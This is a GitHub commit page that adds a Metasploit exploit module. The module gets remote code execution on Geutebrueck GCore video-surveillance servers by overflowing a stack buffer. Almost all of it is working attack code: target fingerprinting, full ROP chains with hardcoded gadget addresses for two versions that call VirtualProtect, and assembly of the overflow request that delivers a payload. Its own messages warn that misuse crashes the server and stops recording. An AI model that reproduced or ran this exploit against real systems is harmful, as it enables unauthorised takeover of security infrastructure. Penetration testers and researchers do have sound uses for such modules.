Skip to content

Commit d5fd620

Browse files
authored
Add files via upload
1 parent 843f559 commit d5fd620

File tree

1 file changed

+286
-0
lines changed

1 file changed

+286
-0
lines changed
Lines changed: 286 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,286 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'nokogiri'
8+
require 'open-uri'
9+
10+
class MetasploitModule < Msf::Exploit::Remote
11+
include Msf::Exploit::Remote::Tcp
12+
13+
Rank = NormalRanking
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
18+
'Description' => 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'Luca Cappiello',
23+
'Maurice Popp'
24+
],
25+
'References' =>
26+
[
27+
['www.geutebrueck.com', '']
28+
],
29+
'Platform' => 'win',
30+
'Targets' =>
31+
[
32+
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
33+
['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
34+
['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
35+
],
36+
'Payload' =>
37+
{
38+
'Space' => '2000'
39+
},
40+
'Privileged' => false,
41+
'DisclosureDate' => '2017-01-24',
42+
'DefaultTarget' => 0))
43+
end
44+
45+
def fingerprint
46+
print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
47+
@doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
48+
statistics = @doc.css('modulestate')
49+
statistics.each do |x|
50+
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
51+
mytarget = targets[1]
52+
print_status("Vulnerable version detected: #{mytarget.name}")
53+
return Exploit::CheckCode::Appears, mytarget
54+
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
55+
mytarget = targets[2]
56+
print_status("Vulnerable version detected: #{mytarget.name}")
57+
return Exploit::CheckCode::Appears, mytarget
58+
end
59+
end
60+
print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
61+
print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
62+
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
63+
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
64+
[Exploit::CheckCode::Unknown, nil]
65+
end
66+
67+
def check
68+
fingerprint
69+
end
70+
71+
def ropchain(target)
72+
if target.name.include? '1.3.8.42'
73+
print_status('Preparing ROP chain for target 1.3.8.42!')
74+
75+
# 0x140cd00a9 | add rsp, 0x10 ; ret
76+
# This is needed because the next 16 bytes are sometimes messed up.
77+
overwrite = [0x140cd00a9].pack('Q<')
78+
79+
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
80+
stack_align = "\x43" * 16
81+
82+
# We have 40 bytes left to align our stack!
83+
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
84+
# and to restore it.
85+
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
86+
87+
# 0x1404e5cbf: mov edx, esp ; ret
88+
stack_align += [0x1404e5cbf].pack('Q<')
89+
90+
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
91+
# We pop -XXXXX as \xxxxxxxxx to rax
92+
# 0x14013db94 pop rax ; ret
93+
stack_align += [0x14013db94].pack('Q<')
94+
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
95+
96+
# Our value is enough.
97+
# 0x1407dc547 | add rax,rdx ; ret
98+
stack_align += [0x1407dc547].pack('Q<')
99+
100+
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
101+
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
102+
stack_align += [0x140ce9ac0].pack('Q<')
103+
104+
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
105+
# We want RCX to hold the value for VP Argument "Address of Shellcode"
106+
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
107+
rop = ''
108+
rop += [0x140cc2234].pack('Q<')
109+
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
110+
# 0x1400ae2ae | POP RDX; RETN
111+
# 0x...1000 | Value for VP "Size of Memory"
112+
rop += [0x1400ae2ae].pack('Q<')
113+
rop += [0x0000000000000400].pack('Q<')
114+
115+
# 0x14029dc6e: | POP R8; RET
116+
# 0x...40 | Value for VP "Execute Permissions"
117+
rop += [0x14029dc6e].pack('Q<')
118+
rop += [0x0000000000000040].pack('Q<')
119+
120+
# 0x1400aa030 | POP R9; RET
121+
# 0x1409AE1A8 is the .data section of gcore
122+
rop += [0x1400aa030].pack('Q<')
123+
rop += [0x1409AE1A8].pack('Q<')
124+
125+
# 0x140b5927a: xor rax, rax ; ret
126+
rop += [0x140b5927a].pack('Q<')
127+
128+
# 0x1402ce220 pop rax ; ret
129+
# 0x140d752b8 | VP Stub IAT Entry
130+
rop += [0x1402ce220].pack('Q<')
131+
rop += [0x140d752b8].pack('Q<')
132+
133+
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
134+
rop += [0x1407c6b3b].pack('Q<')
135+
136+
# 0x140989c41 push rax; ret
137+
rop += [0x140989c41].pack('Q<')
138+
139+
# 0x1406d684d jmp rsp
140+
rop += [0x1406d684d].pack('Q<')
141+
142+
[rop, overwrite, stack_align]
143+
144+
elsif target.name.include? '1.4.2.37'
145+
print_status('Preparing ROP chain for target 1.4.2.37!')
146+
147+
# 0x140cd9759 | add rsp, 0x10 ; ret
148+
# This is needed because the next 16 bytes are sometimes messed up.
149+
overwrite = [0x140cd9759].pack('Q<')
150+
151+
# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
152+
stack_align = "\x43" * 16
153+
154+
# We have 40 bytes left to align our stack!
155+
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
156+
# and to restore it.
157+
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
158+
159+
# 0x1404f213f: mov edx, esp ; ret
160+
stack_align += [0x1404f213f].pack('Q<')
161+
162+
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
163+
# We pop -XXXXX as \xxxxxxxxx to rax
164+
# 0x14000efa8 pop rax ; ret
165+
stack_align += [0x14000efa8].pack('Q<')
166+
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
167+
168+
# Our value is enough.
169+
# 0x140cdfe65 | add rax,rdx ; ret
170+
stack_align += [0x140cdfe65].pack('Q<')
171+
172+
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
173+
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
174+
stack_align += [0x140cf3110].pack('Q<')
175+
176+
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
177+
# We want RCX to hold the value for VP Argument "Address of Shellcode"
178+
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
179+
rop = ''
180+
rop += [0x140ccb984].pack('Q<')
181+
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
182+
# 0x14008f7ec | POP RDX; RETN
183+
# 0x...1000 | Value for VP "Size of Memory"
184+
rop += [0x14008f7ec].pack('Q<')
185+
rop += [0x0000000000000400].pack('Q<')
186+
187+
# 0x140a88f81: | POP R8; RET
188+
# 0x...40 | Value for VP "Execute Permissions"
189+
rop += [0x140a88f81].pack('Q<')
190+
rop += [0x0000000000000040].pack('Q<')
191+
192+
# 0x1400aa030 | POP R9; RET
193+
# 0x... | Value for VP "Writeable location". Not sure if needed?
194+
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
195+
rop += [0x1400aa030].pack('Q<')
196+
rop += [0x140FB5000].pack('Q<')
197+
198+
# 0x140ccea2f: xor rax, rax ; et
199+
rop += [0x140ccea2f].pack('Q<')
200+
201+
# 0x14000efa8 pop rax ; ret
202+
# 0x140d83268 | VP Stub IAT Entry
203+
rop += [0x14000efa8].pack('Q<')
204+
rop += [0x140d83268].pack('Q<')
205+
206+
# 0x14095b254 mov rax, qword [rax] ; ret ;
207+
rop += [0x14095b254].pack('Q<')
208+
209+
# 0x140166c46 push rax; ret
210+
rop += [0x140166c46].pack('Q<')
211+
212+
# 0x140cfb98d jmp rsp
213+
rop += [0x140cfb98d].pack('Q<')
214+
215+
[rop, overwrite, stack_align]
216+
217+
else
218+
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
219+
220+
end
221+
end
222+
223+
def exploit
224+
if target['auto']
225+
checkcode, target = fingerprint
226+
if checkcode.to_s.include? 'unknown'
227+
print_status('No vulnerable Version detected - exploit aborted.')
228+
else
229+
target_rop, target_overwrite, target_stack_align = ropchain(target)
230+
begin
231+
connect
232+
print_status('Crafting Exploit...')
233+
234+
http_req = 'GET /'
235+
buffer_200 = "\x41" * 200
236+
rop = target_rop
237+
payload.encoded
238+
buffer_1823 = "\x41" * 1823
239+
overwrite = target_overwrite
240+
stack_align = target_stack_align
241+
242+
exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
243+
print_status('Exploit ready for sending...')
244+
sock.put(exploit, 'Timeout' => 20)
245+
print_status('Exploit sent!')
246+
buf = sock.get_once || ''
247+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
248+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
249+
ensure
250+
print_status('Closing socket.')
251+
disconnect
252+
end
253+
end
254+
255+
else
256+
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
257+
print_status("Selected version: #{self.target.name}")
258+
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
259+
begin
260+
connect
261+
print_status('Crafting Exploit...')
262+
263+
http_req = 'GET /'
264+
buffer_200 = "\x41" * 200
265+
rop = target_rop
266+
payload.encoded
267+
buffer_1823 = "\x41" * 1823
268+
overwrite = target_overwrite
269+
stack_align = target_stack_align
270+
271+
exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
272+
print_status('Exploit ready for sending...')
273+
sock.put(exploit, 'Timeout' => 20)
274+
print_status('Exploit sent!')
275+
# sleep(10)
276+
buf = sock.get_once || ''
277+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
278+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
279+
ensure
280+
print_status('Closing socket.')
281+
disconnect
282+
end
283+
284+
end
285+
end
286+
end

0 commit comments

Comments
 (0)